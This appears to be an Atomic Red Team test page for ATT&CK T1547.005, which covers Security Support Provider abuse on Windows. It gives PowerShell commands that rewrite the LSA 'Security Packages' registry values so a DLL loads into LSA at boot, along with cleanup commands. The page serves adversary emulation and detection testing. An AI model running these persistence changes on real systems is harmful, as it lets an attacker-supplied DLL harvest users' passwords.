T1547.005 - Boot or Logon Autostart Execution: Security Support Provider

Description from ATT&CK

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

Atomic Tests


Atomic Test #1 - Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider configuration in registry

Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder. A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/

Supported Platforms: Windows

auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e

Attack Commands: Run with 
1

powershell
! Elevation Required (e.g. root or admin)

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$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue

Cleanup Commands:

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$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old';



Atomic Test #2 - Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support Provider configuration in registry

Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.

Supported Platforms: Windows

auto_generated_guid: de3f8e74-3351-4fdb-a442-265dbf231738

Attack Commands: Run with 
1

powershell
! Elevation Required (e.g. root or admin)

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$oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue";
$newvalue = "AtomicTest.dll";
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue

Cleanup Commands:

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$oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldvalue";
Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old';